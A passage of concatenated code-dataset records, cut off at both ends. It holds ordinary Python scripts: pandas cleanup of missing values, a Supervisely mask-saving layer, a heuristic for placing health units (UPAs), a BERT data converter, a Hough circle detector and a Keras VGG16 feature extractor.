a multi-level index.\nq2_cases = q2_cases.set_index(['CountryName','CountryCode'])\nq2_deaths = q2_deaths.set_index(['CountryName','CountryCode'])\nq2_index = q2_index.set_index(['CountryName','CountryCode'])\n\n#reshape the data\nq2_cases2 = q2_cases.stack(dropna=False).reset_index()\nq2_deaths2 = q2_deaths.stack(dropna=False).reset_index()\nq2_index2 = q2_index.stack(dropna=False).reset_index()\n\n#rename column names\nq2_cases3 = q2_cases2.set_axis(['CountryName', 'CountryCode', 'Date', 'Cases'], axis=1, inplace=False)\nq2_deaths3 = q2_deaths2.set_axis(['CountryName', 'CountryCode', 'Date', 'Deaths'], axis=1, inplace=False)\nq2_index3 = q2_index2.set_axis(['CountryName', 'CountryCode', 'Date', 'Index'], axis=1, inplace=False)\n\n\n#check if there are any missing in dataset\nq2_cases3.isnull().sum().sum() #no missing\nq2_deaths3.isnull().sum().sum() #no missing \nq2_index3.isnull().sum().sum() #index got 17 missing in the dataset\n\n\n#find out which columns have missing data in index dataframe - there\\are missing data from 1stMay2020 till 10thMay2020\n#miss=q2_index3.isna().any()[lambda x: x]\n\n\n#which counrty is missing?\nrow_miss = q2_index3[q2_index3.isnull().any(axis=1)]\n#Taiwan, Algeria and Mali have missing data\n\n\n#replace missing with forward filling i.e. copying from previous Index \nq2_index3.fillna(method='ffill', inplace=True)\n\n#double check if there's anymore missing data\nq2_index3.isnull().sum().sum() \n\n#now there's no missing in any of these countries\ntaiwan = q2_index3[q2_index3.CountryName =='Taiwan'] \nalgeria =q2_index3[q2_index3.CountryName =='Algeria'] \nmali = q2_index3[q2_index3.CountryName =='Mali'] \n\n","repo_name":"tiffytiffy/DS_showcase","sub_path":"data manipulation/replace_missing.py","file_name":"replace_missing.py","file_ext":"py","file_size_in_byte":2415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"21450098952","text":"# coding: utf-8\n\nimport os.path as osp\nfrom copy import deepcopy\n\nimport cv2\nimport numpy as np\nfrom legacy_supervisely_lib.utils import imaging\nfrom legacy_supervisely_lib.utils import os_utils\n\nfrom Layer import Layer\n\nimport supervisely_lib as sly\n\n# save to archive, with GTs and checks\nclass SaveMasksLayer(Layer):\n # out_dir, flag_name, mapping_name\n odir_flag_mapping = [\n ('masks_machine', 'masks_machine', 'gt_machine_color'),\n ('masks_human', 'masks_human', 'gt_human_color'),\n ]\n\n action = 'save_masks'\n\n layer_settings = {\n \"required\": [\"settings\"],\n \"properties\": {\n \"settings\": {\n \"type\": \"object\",\n \"required\": [\n \"masks_machine\",\n \"masks_human\"\n ],\n \"properties\": {\n \"gt_machine_color\": {\n \"type\": \"object\",\n \"patternProperties\": {\n \".*\": {\"$ref\": \"#/definitions/color\"}\n },\n },\n \"gt_human_color\": {\n \"type\": \"object\",\n \"patternProperties\": {\n \".*\": {\"$ref\": \"#/definitions/color\"}\n }\n },\n \"images\": { # Deprecated\n \"type\": \"boolean\"\n },\n \"annotations\": { # Deprecated\n \"type\": \"boolean\"\n },\n \"masks_machine\": {\n \"type\": \"boolean\"\n },\n \"masks_human\": {\n \"type\": \"boolean\"\n },\n }\n }\n }\n }\n\n @classmethod\n def draw_colored_mask(cls, ann, cls_mapping):\n w, h = ann.image_size_wh\n res_img = np.zeros((h, w, 3), dtype=np.uint8)\n for fig in ann['objects']:\n color = cls_mapping.get(fig.class_title)\n if color is None:\n continue # ignore now\n fig.draw(res_img, color)\n return res_img\n\n def __init__(self, config, output_folder, net):\n Layer.__init__(self, config)\n\n if 'gt_machine_color' in self.settings:\n for cls in self.settings['gt_machine_color']:\n col = self.settings['gt_machine_color'][cls]\n # @TODO: is it required?\n # if np.min(col) != np.max(col):\n # raise ValueError('\"gt_machine_color\"s should have equal rgb values, e.g.: [3, 3, 3].')\n if np.min(col) < 0:\n raise ValueError('Minimum \"gt_machine_color\" should be [0, 0, 0].')\n\n for _, flag_name, mapping_name in self.odir_flag_mapping:\n if self.settings[flag_name]:\n if mapping_name not in self.settings:\n raise ValueError(\"Color mapping {} required if {} is true.\".format(mapping_name, flag_name))\n # @TODO: maybe check if all classes are present\n\n target_arr = ['masks_machine', 'masks_human']\n target_determ = any((self.settings[x] for x in target_arr))\n if not target_determ:\n raise ValueError(\"Some output target ({}) should be set to true.\".format(', '.join(target_arr)))\n\n self.output_folder = output_folder\n self.net = net\n\n self.out_project = sly.Project(directory=output_folder, mode=sly.OpenMode.CREATE)\n\n # Deprecate warning\n for param in ['images', 'annotations']:\n if param in self.settings:\n sly.logger.warning(\"'save_masks' layer: '{}' parameter is deprecated. Skipped.\".format(param))\n\n def is_archive(self):\n return True\n\n def requires_image(self):\n # res = self.settings['masks_human'] is True # don't use img otherwise\n return True\n\n def validate_dest_connections(self):\n pass\n\n def process(self, data_el):\n img_desc, ann = data_el\n free_name = self.net.get_free_name(img_desc)\n new_dataset_name = img_desc.get_res_ds_name()\n\n for out_dir, flag_name, mapping_name in self.odir_flag_mapping:\n if not self.settings[flag_name]:\n continue\n cls_mapping = self.settings[mapping_name]\n\n # hack to draw 'black' regions\n if flag_name == 'masks_human':\n cls_mapping = {k: (1, 1, 1) if max(v) == 0 else v for k, v in cls_mapping.items()}\n\n img = self.draw_colored_mask(ann, cls_mapping)\n\n if flag_name == 'masks_human':\n orig_img = img_desc.read_image()\n comb_img = imaging.overlay_images(orig_img, img, 0.5)\n\n sep = np.array([[[0, 255, 0]]] * orig_img.shape[0], dtype=np.uint8)\n img = np.hstack((orig_img, sep, comb_img))\n\n img = cv2.cvtColor(img, cv2.COLOR_RGB2BGR)\n output_img_path = osp.join(self.output_folder, new_dataset_name, out_dir, free_name + '.png')\n os_utils.ensure_base_path(output_img_path)\n cv2.imwrite(output_img_path, img)\n\n ann_to_save = deepcopy(ann)\n ann_to_save.normalize_figures()\n packed_ann = ann_to_save.pack()\n\n dataset_name = img_desc.get_res_ds_name()\n if not self.out_project.datasets.has_key(dataset_name):\n self.out_project.create_dataset(dataset_name)\n out_dataset = self.out_project.datasets.get(dataset_name)\n\n out_item_name = free_name + img_desc.get_image_ext()\n\n # net _always_ downloads images\n if img_desc.need_write():\n out_dataset.add_item_np(out_item_name, img_desc.image_data, ann=packed_ann)\n else:\n out_dataset.add_item_file(out_item_name, img_desc.get_img_path(), ann=packed_ann)\n\n yield ([img_desc, ann],)\n","repo_name":"supervisely-ecosystem/dtl","sub_path":"src/layers/save/SaveMasksLayer.py","file_name":"SaveMasksLayer.py","file_ext":"py","file_size_in_byte":5886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"19213043928","text":"# -*- coding: utf-8 -*-\r\nimport math\r\n\r\n\r\nclass District:\r\n def __init__(self, id = 0, latitude = 0, longitude = 0):\r\n self.id = id\r\n self.latitude = latitude\r\n self.longitude = longitude\r\n\r\n\r\nclass Instance:\r\n def __init__(self, filename):\r\n self.numeroDistritos = 0\r\n self.dmax1 = 0\r\n self.dmax2 = 0\r\n #self.dmax = 0\r\n self.distritos = list()\r\n self.load(filename)\r\n\r\n def load(self, filename):\r\n count = 0\r\n with open(filename, 'r') as f:\r\n for line in f:\r\n line = line.strip()\r\n if (line):\r\n if (line.startswith('#')):\r\n continue\r\n if (count == 0):\r\n self.numeroDistritos = int(line)\r\n print(\"Numero de distritos: {}\".format(self.numeroDistritos))\r\n count += 1\r\n elif (count == 1):\r\n self.dmax1 = int(line.split(' ')[0])\r\n self.dmax2 = int(line.split(' ')[1])\r\n #self.dmax = int(line.split(' ')[2])\r\n print(\"Distancia maxima ate UPA mais proxima: {}\".format(self.dmax1))\r\n print(\"Distancia maxima ate segunda UPA mais proxima: {}\".format(self.dmax2))\r\n #print(\"Distancia maxima entre 2 UPAs: {}\".format(self.dmax))\r\n count += 1\r\n elif (count == 2):\r\n distrito = District(int(line.split(' ')[0]), int(line.split(' ')[1]), int(line.split(' ')[2]))\r\n self.distritos.append(distrito)\r\n print(\"Distrito -> Id: {} Latitude: {} Longitude: {}\".format(distrito.id, distrito.latitude, distrito.longitude))\r\n \r\n\r\ndef criar_matriz(numero_distritos, distritos):\r\n # inicializar a matriz com zeros\r\n matriz = [[0 for i in range(numero_distritos)] for j in range(numero_distritos)]\r\n\r\n for i in range(numero_distritos):\r\n for j in range(numero_distritos):\r\n # comparação de um distrito com ele mesmo\r\n if (i == j):\r\n continue\r\n\r\n # distrito que não foi calculado ainda\r\n elif(j > i):\r\n dist = math.sqrt(pow(distritos[i].latitude - distritos[j].latitude, 2) + pow(distritos[i].longitude - distritos[j].longitude, 2))\r\n matriz[i][j] = int(dist)\r\n\r\n # distrito que ja foi calculado\r\n else:\r\n matriz[i][j] = matriz[j][i]\r\n\r\n\r\n return matriz\r\n\r\n\r\ndef algoritmo_construtivo(**kwargs):\r\n matriz = kwargs.get(\"matriz\")\r\n instance = kwargs.get(\"instance\")\r\n distritos_atendidos = set() # indice dos distritos ja atendidos\r\n contagem_dist = 0 # número de distritos ja atendidos\r\n X = instance.dmax1 # Distância máxima até a upa mais próxima\r\n Y = instance.dmax2 # Distância máxima até a segunda upa mais próxima\r\n num_dist = instance.numeroDistritos \r\n upas = [] # Array que armazena em quais distritos já foi construído uma upa\r\n \r\n dist_atual = 0\r\n upas.append(dist_atual) \r\n\r\n while contagem_dist < num_dist: \r\n dist_atual += 1\r\n upas.append(dist_atual)\r\n\r\n for indice_distrito in range(num_dist):\r\n count_x = 0\r\n count_y = 0\r\n for indice_upas in upas:\r\n if matriz[indice_distrito][indice_upas] <= X:\r\n count_x += 1\r\n elif matriz[indice_distrito][indice_upas] <= Y:\r\n count_y += 1\r\n\r\n if (count_x >= 2) or ((count_x == 1) and (count_y >= 1)):\r\n distritos_atendidos.add(indice_distrito)\r\n \r\n contagem_dist = len(distritos_atendidos) \r\n return upas\r\n\r\n\r\n# Printa quem são os distritos que possuem upa construida e quais distritos essa upa atende\r\n# def checar(matriz, upas, instance):\r\n# num_dist = instance.numeroDistritos\r\n\r\n# for i in upas:\r\n# count = 0\r\n# distritos = []\r\n# for j in range(instance.numeroDistritos):\r\n# if matriz[i][j] <= instance.dmax2:\r\n# distritos.append(j)\r\n# count += 1\r\n# print(f\"distrito {i} possui {count} distritos proximos que estao sendo atendidos pela sua upa\")\r\n# print(f\"eles sao {distritos}\")\r\n\r\n\r\ndef print_vizinhos_validos(matriz, instance):\r\n for i in range(instance.numeroDistritos):\r\n vizinhos = set()\r\n for j in range(instance.numeroDistritos):\r\n if matriz[i][j] <= instance.dmax2:\r\n vizinhos.add(j)\r\n print(f\"vizinhos validos para o distrito {i} sao: {vizinhos} {len(vizinhos)}\")\r\n\r\n\r\ndef obter_vizinhos(matriz, num_dist, vizinhanca):\r\n vizinhos = {i: set() for i in range(num_dist)}\r\n \r\n for distrito in range(num_dist):\r\n for vizinho in range(num_dist):\r\n if distrito == vizinho:\r\n continue\r\n\r\n if matriz[distrito][vizinho] <= vizinhanca:\r\n vizinhos[distrito].add(vizinho)\r\n\r\n return vizinhos\r\n\r\n\r\ndef verificar_legislacao(vizinhos, distritos_atendidos, upas, matriz, X, Y):\r\n for indice_distrito in vizinhos:\r\n #if indice_distrito in distritos_atendidos:\r\n # continue\r\n count_x = 0\r\n count_y = 0\r\n for distrito_upa in upas:\r\n if matriz[indice_distrito][distrito_upa] <= X:\r\n count_x += 1\r\n elif matriz[indice_distrito][distrito_upa] <= Y:\r\n count_y += 1\r\n \r\n if (count_x >= 2) or ((count_x == 1) and (count_y >= 1)):\r\n distritos_atendidos.add(indice_distrito)\r\n\r\n return distritos_atendidos\r\n\r\n\r\ndef escolher_melhor_candidato(vizinhos, vizinhos_utilizados):\r\n melhor_candidato = -1\r\n\r\n for indice_distrito in vizinhos_utilizados:\r\n #for distrito_vizinho in range(num_dist):\r\n # if matriz[indice_distrito][distrito_vizinho] <= Y:\r\n # vizinhos[indice_distrito].add(distrito_vizinho)\r\n \r\n if melhor_candidato == -1:\r\n melhor_candidato = indice_distrito\r\n continue\r\n \r\n if len(vizinhos[indice_distrito]) > len(vizinhos[melhor_candidato]):\r\n melhor_candidato = indice_distrito\r\n\r\n return melhor_candidato\r\n\r\n\r\ndef vizinhanca(**kwargs):\r\n upas = kwargs.get(\"upas\")\r\n matriz = kwargs.get(\"matriz\")\r\n instance = kwargs.get(\"instance\")\r\n\r\n num_dist = instance.numeroDistritos\r\n distritos_atendidos = set()\r\n count_dist = 0\r\n X = instance.dmax1\r\n Y = instance.dmax2\r\n upas_vizinhanca = []\r\n\r\n # obtem listas de vizinhos para cada vértice\r\n vizinhos = obter_vizinhos(matriz, num_dist, Y)\r\n \r\n melhor_candidato = -1 # indice do melhor vizinho\r\n\r\n # Procura o distrito dentre as upas que possui a maior quantidade de vizinhos\r\n for indice_distrito in upas:\r\n if melhor_candidato == -1:\r\n melhor_candidato = indice_distrito\r\n continue\r\n\r\n # armazena o melhor candidato entre os distritos\r\n if len(vizinhos[indice_distrito]) > len(vizinhos[melhor_candidato]):\r\n melhor_candidato = indice_distrito\r\n \r\n upas_vizinhanca.append(melhor_candidato)\r\n \r\n while count_dist < num_dist:\r\n vizinhos_utilizados = []\r\n \r\n # verifica se a legislacao esta sendo atendida e atualizar os distritos atendidos\r\n distritos_atendidos = verificar_legislacao(vizinhos, distritos_atendidos, upas_vizinhanca, matriz, X, Y)\r\n\r\n # percorre todos os distritos pegando os vizinhos do melhor candidato\r\n for distrito in vizinhos[melhor_candidato]:\r\n if distrito in distritos_atendidos: # se o distrito atual ja tiver sido atendido pula ele\r\n continue\r\n\r\n vizinhos_utilizados.append(distrito) # Adicionando a vizinhança\r\n \r\n # caso não tenha nenhum vizinho que não esteja sendo atendido\r\n if not vizinhos_utilizados:\r\n qlqr_coisa = vizinhos[melhor_candidato].intersection(upas_vizinhanca)\r\n\r\n if not qlqr_coisa:\r\n for i in vizinhos[melhor_candidato]:\r\n if matriz[melhor_candidato][i] <= Y:\r\n upas_vizinhanca.append(i)\r\n melhor_candidato = i\r\n break\r\n continue\r\n\r\n for vizinho in range(num_dist):\r\n if vizinho in upas_vizinhanca:\r\n continue\r\n if vizinho in distritos_atendidos:\r\n continue\r\n if matriz[melhor_candidato][vizinho] > Y:\r\n upas_vizinhanca.append(vizinho)\r\n melhor_candidato = vizinho\r\n break\r\n count_dist = len(distritos_atendidos)\r\n continue\r\n \r\n # escolhe novo melhor candidato na vizinhança\r\n melhor_candidato = escolher_melhor_candidato(vizinhos, vizinhos_utilizados)\r\n\r\n print(melhor_candidato) \r\n # constroi a upa no melhor candidato\r\n upas_vizinhanca.append(melhor_candidato)\r\n count_dist = len(distritos_atendidos)\r\n\r\n return upas_vizinhanca\r\n\r\n\r\n# roda o algoritmo passado com os parametros\r\ndef run_algo(function, **kwargs):\r\n return function(**kwargs)\r\n\r\n\r\ndef check_solution(solution, matriz, instance):\r\n num_dist = instance.numeroDistritos\r\n X = instance.dmax1\r\n Y = instance.dmax2\r\n\r\n checker = {index: False for index in range(num_dist)}\r\n checker_counter = {index: {\"menor_que_X\": 0, \"menor_que_Y\": 0} for index in range(num_dist)}\r\n\r\n for index in range(num_dist):\r\n for upa in solution:\r\n if matriz[index][upa] <= X:\r\n checker_counter[index][\"menor_que_X\"] += 1\r\n elif matriz[index][upa] <= Y:\r\n checker_counter[index][\"menor_que_Y\"] += 1\r\n if (checker_counter[index][\"menor_que_X\"] >= 2) or ((checker_counter[index][\"menor_que_X\"] == 1) and (checker_counter[index][\"menor_que_Y\"] >= 1)):\r\n checker[index] = True\r\n\r\n for elem in checker_counter:\r\n print(f\"checker_counter[{elem}]:\\nMenor que X: {checker_counter[elem]['menor_que_X']}\\nMenor que Y: {checker_counter[elem]['menor_que_Y']}\")\r\n\r\n if False in checker.values():\r\n return False\r\n\r\n return True\r\n\r\n\r\nif __name__ == \"__main__\":\r\n instance = Instance(\"instance4.data\")\r\n matriz_distancias = criar_matriz(instance.numeroDistritos, instance.distritos)\r\n\r\n upas1 = run_algo(algoritmo_construtivo, matriz=matriz_distancias, instance=instance)\r\n upas2 = run_algo(vizinhanca, upas=upas1, matriz=matriz_distancias, instance=instance)\r\n\r\n print(upas1)\r\n print(upas2)\r\n\r\n solution_1 = check_solution(upas1, matriz_distancias, instance)\r\n solution_2 = check_solution(upas2, matriz_distancias, instance)\r\n \r\n print_vizinhos_validos(matriz_distancias, instance)\r\n\r\n if(solution_1):\r\n print(\"Solução 1 atende a legislação\")\r\n \r\n if(solution_2):\r\n print(\"Solução 2 atende a legislação\")\r\n\r\n #print_vizinhos_validos(matriz_distancias, instance)","repo_name":"pedrohcg/Projeto-APA","sub_path":"construtivo.py","file_name":"construtivo.py","file_ext":"py","file_size_in_byte":11236,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"33938531549","text":"import os.path\nimport pandas as pd\n\nfrom core.bert.dataset import DataSet\n\n\"\"\" for converting data formats \"\"\"\n\nproject_path = os.path.abspath(os.path.dirname(__file__))\ndataset_path = project_path + \"/data/\"\ntrain_data = DataSet(dataset_path).get_data(dataset_type=\"train\")\nvalid_data = DataSet(dataset_path).get_data(dataset_type=\"valid\")\ntest_data = DataSet(dataset_path).get_data(dataset_type=\"test\")\ntrain_size = len(train_data[\"label\"])\nvalid_size = len(valid_data[\"label\"])\ntest_size = len(test_data[\"label\"])\nprint(\"train dataset size: {}, valid dataset size: {}, test dataset size: {}\".format(train_size, valid_size, test_size))\n\n# train_data_list = [[i, train_data[\"text\"][i], train_data[\"label\"][i]] for i in range(train_size)]\n# df = pd.DataFrame(train_data_list, columns=[\"\", \"sentence\", \"label\"])\n# df.to_excel(dataset_path + \"train_and_valid.xlsx\", index=False)\n\n# valid_data_list = [[i, valid_data[\"text\"][i], valid_data[\"label\"][i]] for i in range(valid_size)]\n# df = pd.DataFrame(valid_data_list, columns=[\"\", \"sentence\", \"label\"])\n# df.to_excel(dataset_path + \"valid.xlsx\", index=False)\n\n# train_data_list = [[train_data[\"text\"][i], train_data[\"label\"][i]] for i in range(train_size)]\n# df = pd.DataFrame(train_data_list, columns=[\"sentence\", \"label\"])\n# df.to_csv(dataset_path + \"train.csv\", index=False)\n\n# valid_data_list = [[valid_data[\"text\"][i], valid_data[\"label\"][i]] for i in range(valid_size)]\n# df = pd.DataFrame(valid_data_list, columns=[\"sentence\", \"label\"])\n# df.to_csv(dataset_path + \"valid.csv\", index=False)\n\n# test_data_list = [[test_data[\"text\"][i], test_data[\"label\"][i]] for i in range(test_size)]\n# df = pd.DataFrame(test_data_list, columns=[\"sentence\", \"label\"])\n# df.to_csv(dataset_path + \"test.csv\", index=False)\n","repo_name":"weiyuchens/am4r","sub_path":"utils/data_formatter.py","file_name":"data_formatter.py","file_ext":"py","file_size_in_byte":1757,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"52"} +{"seq_id":"38971855105","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Sep 22 18:37:16 2019\n\n@author: Carter\n\"\"\"\nimport cv2\nimport math\nimport numpy as np\nfrom scipy import stats\n\nfrom sklearn.cluster import KMeans\nfrom sklearn.cluster import MeanShift\n#[centers] = detectCircles(im, radius, useGradient) \n\n\ndef show_im(image):\n cv2.imshow(\"image\", image)\n cv2.waitKey()\n cv2.destroyAllWindows()\n\ndef detectCircles(image, radius, useGradient):\n \n #only return centers that are over 90% of the returned\n percent = 0.75\n r = radius\n \n im = cv2.imread(image)\n gray = cv2.cvtColor(im,cv2.COLOR_BGR2GRAY)\n \n blurred = cv2.GaussianBlur( gray,(11, 11), 0)\n# sobelx = cv2.Sobel(gray,cv2.CV_64F,1,0,ksize=5)\n# sobely = cv2.Sobel(gray,cv2.CV_64F,0,1,ksize=5)\n\n# canny_im1 = cv2.Canny(blurred, 100, 200,False)\n canny_im2 = cv2.Canny(blurred, 50, 200,True)\n# kernel = np.ones((5,5), np.uint8)\n# dilated = cv2.dilate(canny_im,kernel,iterations=1)\n if useGradient:\n sobelx = cv2.Sobel(canny_im2,cv2.CV_64F,1,0,ksize=3)\n sobely = cv2.Sobel(canny_im2,cv2.CV_64F,0,1,ksize=3)\n gradient_dir =np.arctan2(sobelx,sobely)\n \n# grad = np.gradient(canny_im2)\n# print(grad, type(grad))\n \n# cv2.imshow(\"gradient sobel\", gradient_dir)\n# cv2.waitKey()\n# cv2.destroyAllWindows()\n \n# cv2.imshow(\"gradient\", grad)\n# cv2.waitKey()\n# cv2.destroyAllWindows()\n# \n# sobelx = cv2.Sobel(gray,cv2.CV_64F,1,0,ksize=3)\n# sobely = cv2.Sobel(gray,cv2.CV_64F,0,1,ksize=3)\n# grad_mag = abs(sobelx) + abs(sobely)\n \n# cv2.imshow(\"canny\", canny_im1)\n# cv2.waitKey()\n# cv2.imshow(\"canny2\", canny_im2)\n# cv2.waitKey()\n# cv2.destroyAllWindows()\n \n if useGradient:\n H = np.zeros((im.shape[0],im.shape[1])) \n for i in range(canny_im2.shape[0]):\n for j in range(canny_im2.shape[1]):\n \n if canny_im2[i,j] > 100:\n a = int(round(i + r*math.cos(gradient_dir[i,j])))\n b = int(round(j + r*math.sin(gradient_dir[i,j])))\n if a < im.shape[0] and b < im.shape[1]:\n H[a,b] = H[a,b] + 1 \n if canny_im2[i,j] > 100:\n a = int(round(i - r*math.cos(gradient_dir[i,j])))\n b = int(round(j - r*math.sin(gradient_dir[i,j])))\n if a < im.shape[0] and b < im.shape[1]:\n H[a,b] = H[a,b] + 1 \n if canny_im2[i,j] > 100:\n a = int(round(i + r*math.cos(gradient_dir[i,j])))\n b = int(round(j - r*math.sin(gradient_dir[i,j])))\n if a < im.shape[0] and b < im.shape[1]:\n H[a,b] = H[a,b] + 1 \n if canny_im2[i,j] > 100:\n a = int(round(i - r*math.cos(gradient_dir[i,j])))\n b = int(round(j + r*math.sin(gradient_dir[i,j])))\n if a < im.shape[0] and b < im.shape[1]:\n H[a,b] = H[a,b] + 1 \n else:\n H = np.zeros((im.shape[0],im.shape[1])) \n for i in range(canny_im2.shape[0]):\n for j in range(canny_im2.shape[1]):\n if canny_im2[i,j] > 100:\n for theta in range(0,180,2):\n a = round(i - r*math.cos(math.radians(theta)))\n b = round(j - r*math.sin(math.radians(theta)))\n if a < im.shape[0] and b < im.shape[1]:\n H[a,b] = H[a,b] + 1 \n \n centers = np.where(H > np.max(H)*percent)\n \n cv2.imshow(\"Accumulator Array\", H)\n cv2.waitKey()\n cv2.destroyAllWindows()\n \n print(np.max(H))\n cv2.imwrite(\"accumulator_array\" + str(image[:-4]) + str(r)+ \"gradient_\" + str(useGradient) + \".jpg\", H)\n \n #convert to a list of tuples\n cents = []\n for i in range(len(centers[0])):\n tup = (centers[1][i], centers[0][i])\n cents.append(tup)\n \n# copy = canny_im2.copy() \n# for cent in cents:\n# copy = cv2.circle(copy,(int(cent[0]),int(cent[1])), 2, (255,0,255), -1)\n# \n# cv2.imshow(\"centers\", copy)\n# cv2.waitKey()\n# cv2.destroyAllWindows()\n \n ms = MeanShift(cluster_all = True)\n ms.fit(cents)\n cluster_centers= ms.cluster_centers_ \n \n# print(cluster_centers)\n# K_clut = KMeans(n_clusters = 8)\n# labels = K_clut.fit_predict(flat_H)\n# quant_circ = K_clut.cluster_centers_.astype(\"uint8\")[labels]\n# cluster_centers = quant_circ\n \n# cv2.imshow(\"K-means applied\", new_new_quant)\n# cv2.waitKey()\n# cv2.destroyAllWindows()\n \n \n im_copy = im.copy()\n \n for cent in cluster_centers:\n im_copy = cv2.circle(im_copy,(int(cent[0]),int(cent[1])), r, (0,0,255), 2) \n\n# for cent in cents:\n# im_copy = cv2.circle(im_copy,(int(cent[0]),int(cent[1])), r, (0,0,255), 2)\n \n #show results\n cv2.imshow(\"Original\", im)\n cv2.waitKey()\n cv2.imshow(\"Final\", im_copy)\n cv2.waitKey()\n cv2.destroyAllWindows()\n# cv2.imwrite(str(image[:-4]) + str(r)+ \"gradient_\" + str(useGradient) + \".jpg\",im_copy)\n return cents\n \n#centers = detectCircles('jupiter.jpg', 30,0)\n \n##clustering the circles\n#K_clut = KMeans(n_clusters = 4)\n#labels = K_clut.fit_predict(cents)\n#quant_circ = K_clut.cluster_centers_.astype(\"uint64\")[labels]\n## need to somehow check for overlapping centers \n#\n#ms = MeanShift()\n#ms.fit(cents)\n#cluster_centers= ms.cluster_centers_\n#\n#mode = stats.mode(quant_circ) \n#x = mode[0][0][0]\n#y = mode[0][0][1]\n#\n#canny_im2 = cv2.circle(canny_im2,(y,x), r, (255,0,0), -1)\n#canny_im2 = cv2.circle(canny_im2,(75,234), 20, (255,0,0), 3)\n#canny_im2 = cv2.circle(canny_im2,(217,321), 44, (255,0,0), 3)\n#canny_im2 = cv2.circle(canny_im2,(106,458), 63, (255,0,0), 3)\n# \n##show the cirlces\n#for cent in centers:\n# canny_im2 = cv2.circle(canny_im2,(int(cent[0]),int(cent[1])), r, (255,0,0), 3)\n# \n","repo_name":"carterprice2/Computer_Vision","sub_path":"PS2/Price_L_Carter_PS2/Hough_circles.py","file_name":"Hough_circles.py","file_ext":"py","file_size_in_byte":6034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"73268228324","text":"from keras.applications.vgg16 import VGG16\n\nfrom keras.preprocessing import image\n\nfrom keras.applications.vgg16 import preprocess_input, decode_predictions\n\nfrom keras.preprocessing.image import ImageDataGenerator\n\nimport numpy as np\n\nfrom keras.models import Model\nfrom keras.layers import Dense, Input, GlobalAveragePooling2D, Flatten\nfrom keras import backend as K\n\nimport traceback\n\n\n# Generate a model with all layers (with top)\nvgg16 = VGG16(weights='imagenet', include_top=True)\n\n# instaniate cut model\nmodel = Model(inputs=vgg16.input, outputs=vgg16.layers[-3].output)\n\n\nmodel.compile(optimizer='rmsprop',\n loss='categorical_crossentropy', metrics=['accuracy'])\n\n\n# instantiate train generator\nbatch_size = 1 # to yield only one image at time\n\n# fix https://github.com/keras-team/keras/issues/5475\nfrom PIL import ImageFile\nImageFile.LOAD_TRUNCATED_IMAGES = True\n\n\ntrain_datagen = ImageDataGenerator(\n preprocessing_function=preprocess_input,\n\n rotation_range=0,\n width_shift_range=0.0,\n height_shift_range=0.0,\n shear_range=0.0,\n zoom_range=0.0,\n horizontal_flip=False\n)\n\n\ntrain_generator = train_datagen.flow_from_directory(\n 'data/train',\n batch_size=batch_size,\n shuffle=False, # we disable shuffling to make image order correspond to labels oder\n target_size=(224, 224)\n)\n\n# Does not work! Next network is not learning - perhaps the order is messed\n\n# save classes\n#class_mapping = train_generator.classes\n\n# the predict_generator method returns the output of a model, given\n# a generator that yields batches of numpy data\n#bottleneck_features_train = model.predict_generator(train_generator, class_mapping.size,verbose=1)\n\nclass_mapping = []\nbottleneck_features_train = []\n\ni = 0\n\nn_batches = train_generator.classes.size\n\nfor x, y in train_generator:\n\n i += 1\n\n if i % 100 == 0:\n print(i)\n\n if i > n_batches:\n break\n\n image = x[0]\n label = y[0]\n try:\n\n predict = model.predict(x)\n except:\n\n traceback.print_exc()\n\n # It has to be noted, that this does not work if shuffle is True (default). You will always get the filenames in the order they are first processed, not neccesarily in the order they are returned from the generator.\n\n print(\"please delete: \" + train_generator.filenames[i])\n\n continue\n\n bottleneck_features_train.append(predict)\n class_mapping.append(label)\n\n\n# Do not transform this data! Model.fit expexts a list of numpy arrays\n#bottleneck_features_train = np.array(bottleneck_features_train)\n#class_mapping = np.array(class_mapping)\n\n\n# save the output as a Numpy array\n\nwith open('bottleneck_features_train.npy', 'w') as f:\n np.save(f, bottleneck_features_train)\n\nwith open('bottleneck_classes_train.npy', 'w') as f:\n np.save(f, class_mapping)\n\n\n'''\n\n\n\n\n#Add a layer where input is the output of the second last layer \nx = Dense(1024, activation='relu')(vgg16.layers[-2].output)\nx = Dense(1024, activation='relu')(x)\npredictions = Dense(3, activation='softmax', name='predictions')(x)#(vgg16.layers[-2].output)\n\n\n\n\n\n\n# this is the model we will train\nmodel = Model(inputs=vgg16.input, outputs=predictions)\n\n# first: train only the top layers (which were randomly initialized)\n# i.e. freeze all convolutional InceptionV3 layers\nfor layer in vgg16.layers:\n layer.trainable = False\n \n \n \n# compile the model (should be done *after* setting layers to non-trainable)\nmodel.compile(optimizer='rmsprop', loss='categorical_crossentropy',metrics=['accuracy'])\n\n\n\nbatch_size=16\n\ntrain_datagen = ImageDataGenerator(\n preprocessing_function=preprocess_input,\n \n rotation_range=30,\n width_shift_range=0.0,\n height_shift_range=0.0,\n shear_range=0.0,\n zoom_range=0.0,\n horizontal_flip=True\n)\n\n\ntrain_generator = train_datagen.flow_from_directory(\n 'data/train',\n batch_size=batch_size,\n target_size=(224,224)\n)\n\n\nmodel.fit_generator(train_generator, steps_per_epoch=len(train_generator.filenames)//batch_size, epochs=1, workers=10,verbose=1)\n\n\n\nmodel.save(\"vgg_model.h5\")\n\n\n\nimg_path = 'food.jpg'\n\nimg = image.load_img(img_path, target_size=(224, 224))\nx = image.img_to_array(img)\nx = np.expand_dims(x, axis=0)\nx = preprocess_input(x)\n\npreds = model.predict(x)\nprint(preds)\n#print('Predicted:', decode_predictions(preds)[0])\n\n\n\n\n\n# evaluate\n\n\n\n# test generator does not modify images\ntest_datagen = ImageDataGenerator(\n preprocessing_function=preprocess_input,\n rotation_range=0,\n width_shift_range=0.0,\n height_shift_range=0.0,\n shear_range=0.0,\n zoom_range=0.0,\n horizontal_flip=False\n)\n\n\nvalidation_generator = test_datagen.flow_from_directory(\n 'data/test',\n batch_size=batch_size,\n target_size=(224,224)\n)\n\n\n# this will take a while!\nscore = model.evaluate_generator(validation_generator, len(validation_generator.filenames) / batch_size, workers=8, use_multiprocessing = True)\n\n\nprint(score)\n#[0.5243035554097443, 